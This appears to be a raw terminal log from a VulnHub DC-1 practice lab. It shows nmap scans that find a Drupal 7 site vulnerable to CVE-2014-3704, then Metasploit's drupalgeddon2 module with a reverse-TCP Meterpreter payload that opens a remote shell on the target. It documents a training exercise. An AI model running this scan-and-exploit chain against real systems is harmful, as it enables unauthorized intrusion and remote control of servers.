┌──(kali㉿kali)-[~/vulnhub/DC/1/workSpace] └─$ sudo nmap -sn 192.168.56.0/24 [sudo] password for kali: Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-27 14:19 CST Nmap scan report for 192.168.56.1 Host is up (0.00053s latency). MAC Address: 0A:00:27:00:00:08 (Unknown) Nmap scan report for 192.168.56.100 Host is up (0.000092s latency). MAC Address: 08:00:27:2E:A1:5A (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.56.109 Host is up (0.00057s latency). MAC Address: 08:00:27:5F:F1:0D (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.56.144 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 2.31 seconds
┌──(kali㉿kali)-[~/vulnhub/DC/1/workSpace] └─$ sudo nmap -p- --min-rate=10000 192.168.56.109 Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-27 14:20 CST Warning: 192.168.56.109 giving up on port because retransmission cap hit (10). Nmap scan report for 192.168.56.109 Host is up (0.00030s latency). Not shown: 40138 filtered tcp ports (no-response), 25393 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 111/tcp open rpcbind 49001/tcp open nusrp MAC Address: 08:00:27:5F:F1:0D (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 116.03 seconds
┌──(kali㉿kali)-[~/vulnhub/DC/1/workSpace] └─$ sudo nmap -sT -sV -sC -O -p22,80,111,49001 192.168.56.109 Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-27 14:22 CST Nmap scan report for 192.168.56.109 Host is up (0.00088s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0) | ssh-hostkey: | 1024 c4d659e6774c227a961660678b42488f (DSA) | 2048 1182fe534edc5b327f446482757dd0a0 (RSA) |_ 256 3daa985c87afea84b823688db9055fd8 (ECDSA) 80/tcp open http Apache httpd 2.2.22 ((Debian)) |_http-title: Welcome to Drupal Site | Drupal Site |_http-server-header: Apache/2.2.22 (Debian) |_http-generator: Drupal 7 (http://drupal.org) | http-robots.txt: 36 disallowed entries (15 shown) | /includes/ /misc/ /modules/ /profiles/ /scripts/ | /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt |_/LICENSE.txt /MAINTAINERS.txt 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100024 1 37080/udp status | 100024 1 47634/udp6 status | 100024 1 49001/tcp status |_ 100024 1 53648/tcp6 status 49001/tcp open status 1 (RPC #100024) MAC Address: 08:00:27:5F:F1:0D (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X OS CPE: cpe:/o:linux:linux_kernel:3 OS details: Linux 3.2 - 3.16 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 20.95 seconds
┌──(kali㉿kali)-[~/vulnhub/DC/1/workSpace] └─$ sudo nmap --script=vuln 192.168.56.109 Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-27 14:23 CST Nmap scan report for 192.168.56.109 Host is up (0.00032s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http | http-enum: | /rss.xml: RSS or Atom feed | /robots.txt: Robots file | /UPGRADE.txt: Drupal file | /INSTALL.txt: Drupal file | /INSTALL.mysql.txt: Drupal file | /INSTALL.pgsql.txt: Drupal file | /: Drupal version 7 | /README: Interesting, a readme. | /README.txt: Interesting, a readme. | /0/: Potentially interesting folder |_ /user/: Potentially interesting folder | http-csrf: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.56.109 | Found the following possible CSRF vulnerabilities: | | Path: http://192.168.56.109:80/ | Form id: user-login-form | Form action: /node?destination=node | | Path: http://192.168.56.109:80/user/password | Form id: user-pass | Form action: /user/password | | Path: http://192.168.56.109:80/user/register | Form id: user-register-form | Form action: /user/register | | Path: http://192.168.56.109:80/node?destination=node | Form id: user-login-form | Form action: /node?destination=node | | Path: http://192.168.56.109:80/user | Form id: user-login | Form action: /user | | Path: http://192.168.56.109:80/user/ | Form id: user-login |_ Form action: /user/ | http-vuln-cve2014-3704: | VULNERABLE: | Drupal - pre Auth SQL Injection Vulnerability | State: VULNERABLE (Exploitable) | IDs: CVE:CVE-2014-3704 | The expandArguments functionin the database abstraction API in | Drupal core 7.x before 7.32 does not properly construct prepared | statements, which allows remote attackers to conduct SQL injection | attacks via an array containing crafted keys. | | Disclosure date: 2014-10-15 | References: | http://www.securityfocus.com/bid/70595 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3704 | https://www.drupal.org/SA-CORE-2014-005 |_ https://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. 111/tcp open rpcbind MAC Address: 08:00:27:5F:F1:0D (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 356.20 seconds
Interact with a module by name or index. For example info 7, use 7 or use exploit/unix/webapp/php_xmlrpc_eval
msf6 exploit(unix/webapp/drupal_restws_exec) > use 1 [*] No payload configured, defaulting to php/meterpreter/reverse_tcp msf6 exploit(unix/webapp/drupal_drupalgeddon2) > show options
Name Current Setting Required Description ---- --------------- -------- ----------- DUMP_OUTPUT false no Dump payload command output PHP_FUNC passthru yes PHP function to execute Proxies no A proxy chain of format type:host:port[,type:hos t:port][...] RHOSTS 192.168.56.109 yes The target host(s), see https://docs.metasploit. com/docs/using-metasploit/basics/using-metasploi t.html RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes Path to Drupal install VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.56.144 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name -- ---- 0 Automatic (PHP In-Memory)
View the full module info with the info, or info -d command.
[*] Started reverse TCP handler on 192.168.56.144:4444 [*] Running automatic check ("set AutoCheck false" to disable) [!] The service is running, but could not be validated. [*] Sending stage (39927 bytes) to 192.168.56.109 [*] Meterpreter session 1 opened (192.168.56.144:4444 -> 192.168.56.109:54480) at 2023-05-27 16:10:19 +0800
